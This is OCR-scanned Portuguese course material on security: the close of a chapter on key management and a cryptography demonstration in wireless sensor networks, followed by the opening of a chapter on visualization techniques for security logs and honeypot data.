As métricas de seguranca estdo associadas a capacidade de resistir a ataques.
Desta forma, o esquema de gerenciamento de chaves deve ndo apenas prevenir que enti-
dades monitorando a rede descubram as chaves utilizadas pelos nds, mas também garantir
que a captura fisica de alguns nés tenha um impacto reduzido (ou, idealmente, nulo) nas
comunicacdes envolvendo apenas nds ndo capturados, fator conhecido como resiliéncia
a captura de nés. Além disto, mesmo que alguns nds sejam capturados e a informacdes
em sua memoria sejam extraidas, o esquema deve prevenir estes dados sejam usados para
criar nos na rede. Uma forma de fazer isto € por meio de mecanismos pelos quais um né
malicioso € identificado e revogado (i.e., os nds legitimos param de comunicar-se com o
né malicioso). Entretanto, para que isto seja possivel, o esquema de gerenciamento de
chaves deve prover mecanismos que permitam verificar a identidade dos nés de forma
segura. Finalmente, quando necessdrio, entidades confidveis (e apenas elas) devem ser
capazes de atualizar as chaves de alguns ou de todos os nds da rede.
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Métricas de efici€ncia estdo diretamente relacionadas com as limita¢des de hard-
ware dos nds da rede. Idealmente, todos os sensores fisicamente capazes de se comunicar
(i.e., que estejam dentro da drea de alcance de suas antenas) devem ser capazes de esta-
belecer uma chave entre si para que esta comunicagdo se dé de forma segura. Portanto,
esquemas realistas de gerenciamento de chaves devem resultar em redes com um bom
nivel de conectividade e, a0 mesmo tempo, ndo devem causar um impacto significativo
no uso de processamento, memoria, banda e energia.

Por fim, a flexibilidade destes esquemas é medida pela sua capacidade de ser im-
plementado em uma ampla gama de cendrios. Desta forma, em geral é desejdvel que a
eficicia dos mesmos ndao dependam de informagdes dificeis de se obter antes que a rede
seja efetivamente montada. Por exemplo, em aplicacdes nas quais os sensores sao distri-
buidos sobre o terreno alvo de forma aleatdria, € dificil predizer o posicionamento final de
um certo nd, ou mesmo quais nds fardo parte de sua vizinhanga. Além disto, € importante
considerar a escalabilidade do esquema ja que, ao longo da vida titil da rede, seu tamanho
pode variar de forma bastante dindmica; portanto, as solucdes mais flexiveis sdo aquelas
capazes de suportar redes com um grande niimero de sensores e, a0 mesmo tempo, que
permitem a introduc¢do dinamica de nds na rede sem impactos na sua seguranga.

4.5.2. Esquemas de Pré-distribuicao

Em esquemas de pré-distribuic@o, as chaves criptograficas usadas por todos os sensores
sdo carregadas na memoria dos mesmos antes que a rede seja montada. Esta estratégia
costuma ser capaz de evitar o uso de protocolos complexos para o estabelecimento chaves
entre nds, garantindo uma boa eficiéncia. Além disto, ela costuma levar a uma rede pouco
dependente de nds coordenadores, ja que todo o material criptografico necessdrio para
garantir a seguranga das comunicagdes j4 estd presente nos sensores. Por outro lado, a
troca de chaves nestes casos costuma ser uma tarefa mais complexa, ou mesmo impossivel
de ser realizada.

Dois esquemas de pré-distribuicao bastante simples sao usar uma tinica chave glo-
bal em todos os nds ou, inversamente, carregar cada né com uma chave para cada outro
no da rede. Com a primeira solugdo, tem-se uma elevada eficiéncia, mas a seguranca
oferecida é muito reduzida ja que a captura de um dnico né comprometeria todas as co-
municagdes da rede; ja no segundo caso, obtém-se uma rede altamente segura, mas o custo
de memoria envolvido inviabiliza sua ado¢ao em redes compostas por muitos sensores.

Por esta razao, foram desenvolvidas técnicas mais escalaveis e oferecendo um ni-
vel razodvel de seguranca. Uma estratégia comumente utilizada € adotar um intermediario
entre as duas solugdes acima: distribuir um conjunto reduzido de chaves para cada sen-
sor. Um exemplo é o esquema proposto por Eschenauer et al. [44], no qual as chaves sdo
selecionadas aleatoriamente a partir de um conjunto inicial, o que reduz o uso de memo-
ria ao custo de conectividade (pares de nds podem nao possuir uma chave em comum) e
resiliéncia (a captura de um no revela diversas chaves sendo utilizadas pela rede). Outro
exemplo € aquele proposto por Chan et al. [22], no qual apenas alguns pares de nos rece-
bem chaves compartilhadas, o que reduz ainda mais a conectividade quando comparado
ao esquema de Eschenauer et al., mas resolve o problema de resili€éncia do mesmo.

Existem também esquemas nos quais as chaves sdo geradas a partir da multipli-
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cacdo de matrizes [40] ou avaliacdo de polindmios [71], e apenas os coeficientes destas
estruturas matematicas sdo carregados nos sensores Neste caso, pode-se obter uma rede
com elevada conectividade e resili€ncia, mas a complexidade das operagdes envolvidas
(e.g., multiplicacdes e exponenciacdes sobre nimeros grandes) costuma ter um impacto
considerdvel sobre sua eficiéncia.

Finalmente, a maioria das técnicas de pré-distribuicdo podem ser combinadas com
informagao sobre o posicionamento final dos (grupos de) nds, o que geralmente resulta
em uma melhor conectividade com um mesmo custo de memoria e processamento, apesar
de reduzir a flexibilidade do esquema resultante. Exemplos incluem o esquema proposto
por Du et al. [39], que se baseia no esquema probabilistico apresentando de Eschenauer
et al. [44], e o trabalho de Canh et al. [18], baseado em soluc¢des polinomiais.

4.5.3. Esquemas Arbitrados

J4 os esquemas arbitrados dependem de nds especiais, com maior responsabilidade do
que simples nds sensores, para estabelecer e gerenciar as chaves da rede. Apesar de este
ndo ser o cendrio mais geral, tal abordagem mostra-se bastante atrativa caso entidades
com maior poder de processamento ja estejam disponiveis na rede, pois elas podem con-
centrar o 6nus de processamento de operacdes complexas (e.g., revogacao de nds). Este
costuma ser o caso de RSSF hierdrquicas, nas quais as entidades em questdo costumam
ser estacdes-base ou cluster heads (“lideres de grupo”). O maior risco neste caso € que
tais entidades costumam tornar-se um alvo preferencial de ataques, os quais podem afetar
parcelas considerdveis da rede caso sejam bem sucedidos.

Um exemplo de esquema arbitrado é o SHELL [114], que se mostra um tanto
complexo devido ao uso de diversos tipos de chave (pelo menos sete) e algumas enti-
dades diferentes para o gerenciamento das chaves da rede; por outro lado, esta natureza
distribuida das responsabilidades de gerenciamento leva a uma maior resiliéncia contra
captura de nos.

Outra solucdo interessante é o esquema proposto por Panja et al. em [93], cujo
foco sao RSSF com varios niveis hierarquicos. Neste esquema, apds os uso de uma chave
global na inicializa¢do da rede, cada chave é gerada a partir de diversas chaves parciais,
de tamanho reduzido. O menor tamanho das chaves usadas desta maneira traz alguns
beneficios: facilita tarefas de troca de chaves, reduz a quantidade de processamento e
memoria utilizada nos nds sensores, etc. Por outro lado, o uso de uma chave global nos
estagios iniciais da rede, bem como o reduzido tamanho das chaves nos nés sensores que
ficam na base da hierarquia, podem trazer impactos negativos em termos de seguranca da
rede.

4.5.4. Esquemas Auto-Regulados

Esquemas auto-regulados, por sua vez, utilizam-se de algoritmos criptograficos assimétri-
cos para estabelecer chaves entre pares de sensores de forma dindmica, ap6s a formacao
da rede. Esta caracteristica faz com que os mesmos sejam atrativos principalmente em
cendrios nos quais a topologia da rede altera-se com frequéncia, por exemplo devido a
mobilidade dos nés ou a adi¢do de novos sensores. Além disto, a quantidade de informa-
cdo armazenada em cada sensor € reduzida (e.g., apenas uma chave publica e privada), a
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resiliéncia € elevada, e pode-se reduzir ou eliminar a existéncia de pontos centrais confia-
veis que se tornariam alvos preferenciais de ataques.

Apesar destas vantagens, o maior desafio neste tipo de estratégia diz respeito a
eficiéncia da maioria dos algoritmos assimétricos conhecidos atualmente. Por exemplo, o
uso de protocolos bastante difundidos como os baseados no RSA [101] sdo reconhecida-
mente invidveis, jd que sua execucao costuma levar varios minutos e consumir uma quan-
tidade considerdvel de recursos [38]. Por esta razdo, durante muito tempo os esquemas
auto-regulados foram considerados como uma possibilidade tedrica, mas ndo aplicaveis
pratica.

Com o recente desenvolvimento de solucdes assimétricas bem mais leves do que
algoritmos tradicionais, como € o caso da criptografia de curvas elipticas (ECC) [48]),
os esquemas auto-regulados passaram a receber uma maior ateng¢do. De fato, de acordo
com a recente andlise apresentada em [5], o tempo necessario para calcular um empare-
lhamento (o processo geralmente mais dispendioso neste tipo de solu¢do) em um sensor
MICAZz pode ser tdo baixo quanto 2 segundos.

O potencial do uso de ECC em RSSF ¢é especialmente acentuado quando estas
solucdes sdo combinadas como esquemas criptograficos baseados em identidades, nos
quais a chave publica do n6 corresponde ao seu ID (e.g., seu endereco fisico). Este tipo de
abordagem dispensa a necessidade de certificados para a autenticag@o dos nds [92], além
de permitir a construcio de solugdes ndo-interativas® para o gerenciamento de chaves. Por
exemplo, usando um protocolo nao interativo (e.g., o SOK [102]) diretamente, nés cujas
chaves privadas tenham sido geradas por um mesmo Centro de Distribuicdo de Chaves
(CDC) podem calcular uma chave compartilhada simplesmente sabendo a identidade de
seu interlocutor. J4 em cendrios cujos nds sdo gerenciados por diferentes CDCs, solucdes
apresentando uma eficiéncia semelhante podem ser obtidas, por exemplo por meio de uma
organizacdo hierdrquica entre os CDCs [46].

E importante ressaltar que ainda é cedo para dizer que todas as questdes de efici-
éncia relacionadas aos esquemas auto-regulados foram resolvidas. No entanto, os avancos
recentes nesta area deixa claro o grande potencial desta abordagem, que tende a ocupar
um espaco cada vez mais importante dentre as solucdes preferenciais de gerenciamento
de chaves em RSSF.

4.6. Testes em Plataformas de RSSF

Tipicamente algoritmos e mecanismos de seguranca para RSSF sdo avaliados em funcao
do seu tempo de execucdo e do seu consumo de energia. O tempo de execucdo deter-
mina o atraso que serd inserido na aplicacdo de RSSF. Por exemplo, se a leitura obtida
através do sensor de temperatura for cifrada antes do seu envio, o tempo necessdrio para
a criptografia representa um atraso de processamento. Além disso, a energia consumida
com a criptografia deve ser somada a energia necessdria para executar as tarefas no né
sensor (por exemplo, leitura do sensor de temperatura e processamento da mesma). Caso
a criptografia dos dados necessite de enchimento, causando um aumento no tamanho do

8Uma solucdo ndo-interativa ndo exige trocas de mensagens por parte dos nés que desejam estabelecer
uma chave.
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bloco de dados a ser transmitido pela RSSF, faz-se necessario analisar o impacto que isso
causard na transmissdo e recepcdo de mensagens na RSSF. Uma andlise mais simples,
focada no n6 sensor, medird o tempo e consumo de energia da transmissdo e recep¢do de
um pacote maior.

Porém, analisar o impacto de algoritmos e mecanismos de seguranga para a RSSF
como um todo ndo € trivial. Esta andlise € dependente da aplica¢do, dos protocolos (en-
lace, roteamento, sincronizacao, localizagdo, vizinhanga) em uso na RSSF, e em qual
camada os mecanismos estdo sendo aplicados. Por exemplo, no caso do TinySec ou do
framework de seguranca do padrdo IEEE 802.15.4, toda mensagem transmitida serd au-
tenticada e/ou cifrada. Nesse caso, todo nd sensor na rota da mensagem ird verificar a
autenticidade e/ou decifra-la, decidir sobre roteamento, cifra-la novamente e envia-la ao
proximo salto.

Por outro lado, se os algoritmos € mecanismos de seguranga para a RSSF sdo im-
plementados a nivel de aplicacdo, a verificacdo da autenticidade e/ou decifragem € feita
somente no destino final. No entanto, se a mensagem ficou maior por conta dos meca-
nismos aplicados, todos 0s nds no seu caminho sofrerdo com roteamento de mensagens
maiores.

4.6.1. Demonstracao de Seguranca em RSSF

Esta demonstragdo trata de mecanismos de seguranca implementados a nivel de aplica-
cdo, ou seja, o cdlculo e a verificagdo da autenticidade e/ou cifragem e decifragem da
mensagem ¢ feita somente na origem e no destino final. O seu foco estd nos efeitos do
mecanismo nos noés sensores, € nao na rede como um todo. O nd sensor utilizado € o
Crossbow TelosB [29], executando o sistema operacional Contiki 2.2.1 [41].

Para demonstrar o impacto de algoritmos de seguranca em aplicacdoes de RSSF,
criamos quatro redes independentes, cada uma com dois nds. A primeira RSSF transmite
e recebe mensagens claras, ou seja, sem qualquer mecanismo de seguranca. Na segunda
RSSF, os dados s@o autenticadas utilizando o MARVIN, enquanto a terceira RSSF cifra
os dados com o with CURUPIRA. A quarta RSSF combina criptografia e autenticagao,
usando o CURUPIRA e o MARVIN para atingir seus objetivos. Além disso, existe um n6
espido que monotora todas as mensagens sendo transmitidas por estas RSSF, conforme
ilustrado na Figura 4.6.

AUTENTICADA
DINIMN)] Q NN «%
- “  AUTENTICADA
com chave invélida
CIFRADA AUTENTICADA E CIFRADA ///’7/7/)//,‘

255 W@
* DINMN)) % ,"» MMM «% %
- 4 < S S

SNIFFER

Figura 4.6. Configuracao da testbed.
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Os dados capturados pelo n6 espido, que estd conectado a um computador portétil
através da porta USB, sd@o mostrados na console do mesmo. O né espido consegue en-
tender os dados transmitidos através da RSSF sem mecanismos de seguranga, e também
da RSSF com dados autenticados. Porém, o n6 espidao ndo compreende os dados cifrados
e/ou cifrados e autenticados das outras duas RSSF.

As mensagens possuem 12 bytes tanto na RSSF sem mecanismos de seguranca
como RSSF que encripta os dados. Por outro lado, as mensagens das RSSF com crip-
tografia e criptografia/autenticacdo possuem ambas 16 bytes, devido a adi¢do da rag de
autenticacao.

Dado que todo os nés estdo no mesmo alcance, os nos receptores das quatro RSSF
também receberdao os dados das outras trés redes. Porém, como as redes possuem dife-
rentes tamanhos e formatos de mensagens, uma mensagem enviada na RSSF com dados
cifrados e autenticados pode causar erros na rede sem mecanismos de seguranga, por
exemplo. Para mostrar se a mensagem € compativel ou causa algum tipo de erro, usamos
os LEDs dos nés sensores. Quando o formato da mensagem e o seu valor € aceitdvel, o
LED verde € aceso; ja o LED vermelho € aceso se o formato da mensagem for invalido ou
se uma mensagem nao-autenticada for recebida (se for esperada uma mensagem autenti-
cada). Se o formato da mensagem estiver correto, mas o seu valor for inesperado, o LED
azul acende. A Tabela 4.3 resume que LEDs acendem quando os diferentes dados sdao
recebidos em cada RSSF. Observe que dada a combinagdo de tipos de RSSF e dos vérios
formatos de mensagens transmitidas/recebidas, € possivel mostrar o comportamento dos
varios niveis de segurancga de rede.

Tabela 4.3. Comportamento dos LEDs para uma dada RSSF e tipo de mensagem

recebida.
Rede
Mensagem Clara Cifrada | Autenticada | Cifrada/Autenticada
Clara Verde Azul Vermelho Vermelho
Cifrada Azul Verde Vermelho Vermelho
Autenticada Vermelho | Vermelho Verde Azul
Cifrada e Autenticada | Vermelho | Vermelho Azul Verde

O processo de transmissdao de dados (e criptografia e/ou autenticaciao, se neces-
sério) é disparado ao pressionar um dos botdes do nds sensor TelosB. Antes de efetuar a
transmissao da mensagem, um LED € aceso. No né receptor, depois que a mensagem ¢
recebida e processada, o LED de status acende.Assim, é possivel observar as velocidades
de funcionamento dos nds, que sdo praticamente as mesmas.

A ultima etapa na demonstragdo € a validagcao da autenticagdo. Um outro n6 sen-
sor envia uma mensagem autenticada com formato correto, porém utilizando uma chave
invélida. Os nds sensores da rede com autenticagdo de mensagens, ao verificarem a fag,
detectam que esta € invalida na rede.
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4.7. Consideracoes Finais

Mecanismos de seguranga inevitavelmente causam sobrecarga de processamento a aplica-
cdo de uma RSSF, e possivelmente também causam sobrecarga na comunicacao, devido
ao aumento no tamanho das mensagens. Porém, para algumas aplicacdes, esta sobrecarga
€ aceitavel devido as suas necessidades de seguranca.

Tipicamente, os servi¢os de seguranga de integridade dos dados, confidenciali-
dade, autenticidade do n6 e dos dados e disponibilidade, precisam ser garantidos. Ainda é
importante garantir que os dados enviados sdo recentes (data freshness), ou seja, que ne-
nhum intruso estd replicando dados antigos. Este mesmo conceito também pode se aplicar
as chaves em uso na RSSF (key freshness). E, assim, os mecanismos de estabelecimento
de chaves devem garantir que as chaves em uso sdo recentes, impedindo o uso de chaves
antigas que poderiam ter sido obtidas apds o comprometimento de um né [54]. Dadas as
caracteristicas das RSSF, que se baseiam em nds com recursos de processamento, arma-
zenamento, comunicac¢do e energia limitados, os mecanismos de segurangca empregados
devem ser escaldveis (em termos de energia e atraso).

Neste capitulo, apresentamos a visdo geral da drea de seguranca em Redes de
Sensores sem Fio (RSSF). Observa-se que a pesquisa nesta drea tem mostrado resultados
recentes, fazendo com que o emprego de mecanismos de seguranga seja vidvel.
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Resumo

Sistemas computacionais geram grande quantidade de registros (logs) de suas
atividades, que podem ser usados para prover informagoes sobre o funcionamento do
sistema, monitorar trdfego da rede, tentar identificar a atuacdo de software malicioso
(malware), entre outras aplicacoes e fungoes. A andlise destes logs costuma ser imprati-
cdvel para analistas humanos por causa de seu volume. Uma forma de encontrar infor-
magoes importantes em grandes massas de dados com vdrias dimensées é a aplica¢do de
técnicas de visualizacdo. Neste curso veremos os conceitos de técnicas de visualizacdo
com aplicacoes em visualizacdo de dados (eventos) relacionados a drea de seguranga da
informagdo, com exemplos prdticos comentados.

Abstract

Computer systems generates vast amounts of logs of its activities, which can be used to
provide information about its working, to monitor network traffic, to help the identification
of malware activities and for other applications and functions. Analysis of these logs can
be impossible for human analysis due to the its sheer volume. One way to find important
information in large amounts of (often multidimensional) data is to apply visualization
techniques to it. In this short course we will see the basic concepts of visualization tech-
niques with applications on information and systems security data visualization, showing
and commenting practical applications.
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5.1. Introducao

Sistemas computacionais interligados em redes possuem como uma de suas caracteristicas
basicas a geracdo de registros das atividades decorrentes da interacdo dos seus dispositivos
componentes — sistema operacional, aplicacdes, equipamentos de rede (switches, rotea-
dores), mecanismos de defesa (firewalls, Intrusion Detection Systems, antivirus), isto &,
hardware e software em geral. Tais registros, ou logs, tém o intuito de prover informagdes
sobre o funcionamento das partes do sistema, permitir a monitoracdo do trafego da rede
em busca de eventos suspeitos ou falhas, tentar identificar a atuacdo de software malicioso
(malware) em computadores ou redes, identificar a proveniéncia e/ou contetido de men-
sagens de e-mail ndo solicitadas, bem como auxiliar na auditoria em caso de incidentes
envolvendo a seguranga de sistemas de informacao.

Devido ao grande ntimero de sistemas gerando logs, ha uma imensa quantidade
de dados que necessitam ser armazenados e, principalmente, analisados de modo a prover
alguma informag¢@o que possa ajudar na identificagdo de um determinado tipo de evento
de seguranca. A andlise destes dados costuma ser impraticdvel para analistas humanos,
bem como pode ndo gerar resultados apresentdveis do ponto de vista de inteligéncia de-
pendendo das ferramentas que forem utilizadas para extragao de informacdes.

Uma forma efetiva de encontrar informagdes importantes em grandes massas de
dados com vérias dimensdes € vendo figuras que correspondem a estes niimeros [24], ou
seja, aplicando de técnicas de visualizagdo. A drea de visualizacdo de dados aplicada a
seguranca ainda estd bastante recente tendo, portanto, uma ampla gama de ferramentas e
aplicacdes a se explorar — adicionalmente muitos problemas pedem solucdes ad hoc, que
devem ser integradas a sistemas especificos, justificando portanto o estudo de técnicas de
visualizagdo e sua aplicagc@o a seguranga, pois ndo existem solugdes prontas que atendam
a todas as necessidades.

O objetivo deste curso € apresentar os conceitos de técnicas de visualizacdo com
aplicacdes em visualizacdo de dados (eventos) relacionados a drea de seguranca da in-
formacdo com foco em andlise de trafego de rede suspeito ou malicioso, identificacio
de padroes de ataque baseados em dados temporais através de logs de sensores de mo-
nitoracdo da Internet no ciberespaco nacional, classificagdo de malware utilizando logs
de coletores de malware e analisando como eles sdo disseminados e quais servigos sao
atacados, entre outros assuntos relacionados.

O foco dos exemplos deste curso serd a visualizacao de logs relacionados a dados
de ataques a honeypots, fluxos de trafego de rede, coletores de malware e de spam. Nestes
logs, as informacdes relevantes vao desde a data e hora dos eventos, passando pela ori-
gem do ataque, dispositivo alvo, trafego de rede, contetido do trafego e até a informacgao
geografica do atacante ou localizacao do repositério do c6digo malicioso disseminado.

5.2. Conceitos de Visualizacao

Edward Tufte, professor emérito da Universidade de Yale, escreve em seu livro classico
The Visual Display of Quantitative Information [24] que “... grdficos sobre dados podem
fazer muito mais do que simplesmente ser substitutos para pequenas tabelas estatisti-
cas. Na sua melhor concepg¢do, grdficos sdo instrumentos para compreender informacdo
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quantitativa. Frequentemente a forma mais efetiva de descrever, explorar e sumarizar um
conjunto de niimeros — mesmo um conjunto com muitos nimeros — é ver figuras destes
numeros. Adicionalmente, de todas as formas de analisar e comunicar informagdo esta-
tistica, grdficos bem feitos sobre dados sdo geralmente ao mesmo tempo a mais simples
e mais poderosa”. Este comentdrio define bem o papel de visualizagdo na andlise de
dados: ver “figuras dos nimeros” pode explicar muito mais sobre eles do que medidas
estatisticas.

Visualizagdo € uma tarefa realizada com muita facilidade por humanos: o sistema
visual humano € capaz de identificar padrdes, excecodes, tendéncias, relacdes entre obje-
tos percebidos visualmente mesmo que ndo seja possivel descrever estes fendmenos em
linguagem natural. Esta capacidade aliada ao uso de computadores para preparar, orga-
nizar e visualizar dados possibilita a exploracdo de dados de formas novas, eficientes e
interessantes.

Visualizagdo de dados (em particular de dados técnico-cientificos, como dados re-
lacionados com sistemas de seguranca) pode ser usada para varios objetivos relacionados
a analise destes dados: [15]

¢ Analise Exploratoria, usando dados de natureza conhecida sem uma hipétese de-
finida sobre fendmenos que podem ocorrer nestes dados. Geralmente envolve a
busca visual por tendéncias, excegdes, estruturas, etc. nos dados. O resultado da
andlise exploratéria pode ser a defini¢do de hipdteses.

¢ Anadlise para Confirmacao, usando dados de natureza conhecida e hipdteses sobre
fendmenos relacionados a estes dados. Através de visualizacdo a hipétese pode ser
confirmada ou rejeitada.

e Apresentacio, usando os dados, com um objetivo para a demonstracdo dos dados,
fendmenos relacionados a estes ou hipoteses. Deve-se definir uma técnica para
apresentacdo apropriada e que permita fécil interpretacdo.

5.2.1. Tipos de técnicas de visualizacio

Existem muitas técnicas de visualizacdo de dados, desde as mais simples e genéricas
como graficos simples de drea, torta ou pizza, linhas, histogramas, pontos, etc. (que estao
implementadas praticamente em todas planilhas eletrOnicas) até as mais complexas e es-
pecificas como fatiamento (slicing) de volumes em trés dimensdes para apresentacao de
imagens bi-dimensionais, como as usadas para visualizacdo de imagens tri-dimensionais
como as de ressonancia magnética nuclear. Nesta se¢do apresentaremos algumas técnicas
intermedidrias que tem caracteristicas que as tornam interessantes para a visualizagcdo de
dados relacionados a seguranca.

Muitas técnicas de visualizagdo podem ser agrupadas em algumas categorias,
sendo que algumas técnicas podem pertencer a mais de uma categoria ou mesmo a ne-
nhuma delas. Por causa da vasta quantidade de técnicas de visualizagdo somente algumas
categorias e exemplos serdo apresentados. Algumas das categorias apresentadas nesta
secdo sdo baseadas em tutoriais e notas de aulas de Daniel Keim [15].
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Técnicas geométricas sio técnicas que permitem a visualiza¢do dos dados atra-
vés de transformacgdes geométricas (ex. reorganizacdes, projecdes) dos valores dos seus
atributos. Uma das técnicas geométricas mais conhecidas € a matriz de espalhamento
(scatterplot matrix) 5], que apresenta uma matriz bidimensional de plotagens bidimensi-
onais de dados, onde cada combinacdo de duas dimensdes € representada por uma plota-
gem. Este tipo de visualizacdo é mostrado na Figura 5.1°, onde alguns atributos de dados
de trafego malicioso e inofensivo sdo comparados [10].

Plot Matrix cli_packets_averv_packets_awji_packets _musmv_packets_noery_small_pkirpiftic_direction cli_bytes srv_bytes  session_time
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Figura 5.1. Visualizacao de trafego malicioso e inofensivo com matrizes de es-
palhamento.

Em visualiza¢gdes com matrizes de espalhamento como a mostrada na Figura 5.1
podemos observar correlagdes diretas e inversas entre atributos (dois a dois), distribui¢ao
de valores nos atributos, padrdes, excecdes e outros fendmenos que podem servir para
sugerir hipéteses sobre os dados.

Outra técnica geométrica que permite a visualizacdo de correlacdes entre atribu-
tos, padroes e excecdes € a de coordenadas paralelas [12, 13]. Nesta técnica criamos
um eixo para cada um dos atributos, organizamos estes eixos de forma paralela e equi-
distante, e para cada dado a ser visualizado tracamos uma linha poligonal que cruza os

As figuras coloridas correspondentes as mostradas neste capitulo podem ser encontradas em
http://www.lac.inpe.br/~rafael.santos/sbseg2009. jsp.
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eixos na altura dos valores correspondentes para aqueles atributos. Um exemplo deste
tipo de visualizacdo é mostrado na Figura 5.2, que mostra os mesmos dados usados para
criar a Figura 5.1. Neste tipo de grafico é possivel inferir métricas para separacdo de
trafego suspeito, pois as diferengas do tipo de trafego (malicioso ou inofensivo) podem
ser claramente observadas nos eixos de alguns dos atributos. Na figura, podemos ver que
o primeiro e o quinto eixo poderiam ser cortados por linhas horizontais e, desta forma,
teriamos uma boa separacao do trafego malicioso e inofensivo.

Logs_APR2005
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Figura 5.2. Visualizacao de trafego malicioso e inofensivo com parallel coordinates.

Ainda outra técnica geométrica € baseada na reorganizagao dos dados multidimen-
sionais em uma grade regular em poucas dimensdes (tradicionalmente duas) de forma que
dados que sdao proximos no espacgo de atributos multidimensional continuam préximos no
espaco de dimensdes reduzidas. Uma maneira de criar estes graficos € usando um modelo
de rede neural conhecido como Mapa Auto-Organizdvel de Kohonen (abreviadamente
SOM, Self-Organizing Map) [17]. Cada elemento da grade regular pode ser usado como
componente para visualizacdo dos dados de acordo com a natureza destes dados.

Um exemplo desta técnica de visualiza¢ao € mostado na Figura 5.3. Nesta figura,
pequenas séries temporais (que, com doze medidas, estariam em um espaco de atribu-
tos dificil de ser visualizado diretamente) foram agrupadas pelo algoritmo SOM em uma
grade de 10 x 10 células. Cada célula mostra o valor central em cor mais escura e os valo-
res pertinentes a célula em valores mais claros. Com este tipo de técnica de visualizagdo é
possivel ver quais s@o os padrdes mais frequentes nas séries temporais e quais sdo as vari-
acoes em torno destes padroes. As séries temporais foram obtidas dos logs de honeypots
e correspondem ao nimero de pacotes TCP recebidos por estes honeypots a cada cinco
minutos. Cada série temporal corresponde entdo a uma hora de dados coletados pelos
logs.

Um problema com estas técnicas geométricas pode acontecer se houver uma enorme
quantidade de dados a ser visualizada, o que causard o desenho de muitas linhas. Depen-
dendo da ordem em que estas linhas forem desenhadas, algumas podem ser sobrepostas a
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Figura 5.3. Visualizacdo de agrupamentos de séries temporais de acesso a ho-
neypots, usando um Mapa Auto-Organizavel de Kohonen.

outras, ocultando estas e impedindo a visualizacao de alguns dados. Técnicas como trans-
paréncia e jitter (ligeiras perturbacdes nas coordenadas usadas para desenhar as linhas)
podem ser usadas para minimizar este problema.

Ainda outras técnicas geométricas de visualizacdo sdo Prosection Views e Hy-
perslice [15]. Estas técnicas s@o similares as matrizes de espalhamento, mas permitem
ao usudrio selecionar, em uma das células da matriz, uma regido bidimensional dos da-
dos. A composicdo das regides bidimensionais posssibilita a selecdo de uma regido no
espaco multidimensional contendo dados de interesse para posterior processamento ou
visualizacdo (esta técnica é conhecida como drill-down).

Técnicas baseadas em icones representam os dados multidimensionais a ser plo-
tados como icones cujas caracteristicas correspondem a valores dos atributos dos dados.
A técnica mais conhecida desta categoria é a Chernoff faces [24], que usa pequenos ico-
nes de faces e caracteristicas como forma da boca, nariz, olhos e posicionamento destes
elementos para representar os valores dos dados. Outra técnica baseada em icones € a
codificacdo por formas (shape coding) [2]. Esta técnica mapeia os valores multidimen-
sionais em um pequeno grafico retangular que é usado como marcador em um grafico
bidimensional, cujas dimensdes podem ser espaciais ou temporais. Icones semelhantes
causam uma textura que € aparente no grafico externo, facilitando a identificacdao visual
de excecdes. Uma técnica semelhante a esta é usada na aplicagdo VisDB [16], que usa
cores e arranjo dos icones em espiral.

Técnicas baseadas em icones requerem representacdo adequada para as caracte-
risticas dos icones, que possibilite a rdpida interpretacdo visual através de comparacio
com outros icones para identificar similaridades e exce¢des. Por outro lado, o mapea-
mento de valores dos atributos para caracteristicas dos icones frequentemente requer o
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uso constante de uma legenda, o que pode confundir o usudrio dos graficos.

Técnicas baseadas em pixels sdo similares as que usam icones porque usam pe-
quenos conjuntos em um arranjo espacial para representar os valores multidimensionais,
e organizam estes conjuntos em arranjos maiores que podem representar as dimensoes
espaciais e/ou temporal do conjunto de dados. Os valores dos atributos sdo representados
por pixels coloridos, geralmente usando um mapa de cores que facilite a identificagcdo de
valores similares e diferentes. A interpretacdo da visualizacdo é novamente feita usando
atributos visuais como continuidade e textura para identificar padrdes.

Um exemplo bem simples de visualizagdo com uma técnica baseada em pixels
€ mostrada na Figura 5.4. A figura mostra quantos pacotes TCP, UDP e ICMP foram
recebidos por honeypots em um periodo de aproximadamente 10 dias, indicando acessos
maliciosos. Pacotes TCP, UDP e ICMP sdo mostrados em tons de vermelho, verde e azul,
respectivamente; com a intensidade da cor correspondendo a um valor normalizado. Os
pixels tem bordas cinzas para dias de semana e pretos para fins de semana. O gréfico
mostra claramente pequenos intervalos (< 20 minutos) de baixa incidéncia de tentativas
de ataque e picos na incidéncia destes. Diferentemente de plotagem em séries temporais
€ possivel visualizar um intervalo de tempo bem maior, as custas da indexacao temporal
explicita.

Figura 5.4. Visualizacao de tipos de pacotes enviados a uma honeynet com uma
técnica baseada em pixels.

Daniel Keim [15] apresenta varias variacdes de técnicas baseadas em pixels, que
envolvem a ordenagao dos pixels ao longo do tempo usando linhas e diferentes curvas de
preenchimento do espago bidimensional (Peano-Hilbert, Z-Curve, etc.).

Técnicas hierarquicas particionam as multiplas dimensoes dos dados de forma
hierdrquica em subespacgos que podem ser visualizados (em 2 ou 3 dimensdes). Uma das
técnicas hierdrquicas mais conhecida € a treemap [23], que preenche uma drea bidimen-
sional com pequenos poligonos com drea proporcional a importancia para visualizagao.
Outras caracteristicas como cores ou texturas podem ser usadas para denotar informa-
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¢do adicional na visualizacdo. Dois exemplos de graficos de treemaps sdo mostrados
nas Figuras 5.34 e 5.35. Outra técnica hierdrquica bem conhecida sdo os dendogramas,
graficos que particionam hierarquicamente um conjunto (relativamente pequeno) de da-
dos, mostrando agrupamentos e distancias entre os dados representados. Um exemplo de
dendograma € mostrado na Figura 5.24.

Técnicas baseadas em grafos servem para mostrar relagdes (arestas) entre obje-
tos (vértices). A representacdo grafica dos vértices e arestas pode ser usada para mostrar
padrdes e valores associados as relagdes (proximidade, intensidade, correlacdo, etc.) Va-
rias técnicas de visualiza¢do usando grafos existem, e o estudo de algoritmos para posici-
onamento de vértices e arestas de forma a possibilitar a visualiza¢do de todo o conjunto
€ uma area de pesquisa bem ativa. Dois exemplos de visualizagdo de grafos podem ser
vistos nas Figuras 5.29 e 5.30.

Técnicas tridimensionais usam graficos tridimensionais para visualizacdo onde
os dados s@o organizados em tipos de cendrios, sendo muito mais efetivos na forma ele-
tronica (em displays) do que na forma impressa. Muitas destas técnicas sdo iterativas
para que o usudrio possa selecionar uma regido ou subconjunto de dados adequado para
visualizac@o ou para que possa mudar o ponto de vista do cendrio. Técnicas tridimensio-
nais geralmente requerem razoavel poder computacional ou hardware especifico para uso
efetivo, em especial para grandes volumes de dados.

Mapas sao componentes de visualiza¢do universalmente conhecidos, e que podem
ser usados como background para visualizacdes que tenham informacdes geograficas (fre-
quentemente na forma de coordenadas pontuais ou de regides geograficas). As Figuras 5.5
e 5.6 mostram um exemplo de visualizacdo de fendmenos geograficamente localizados:
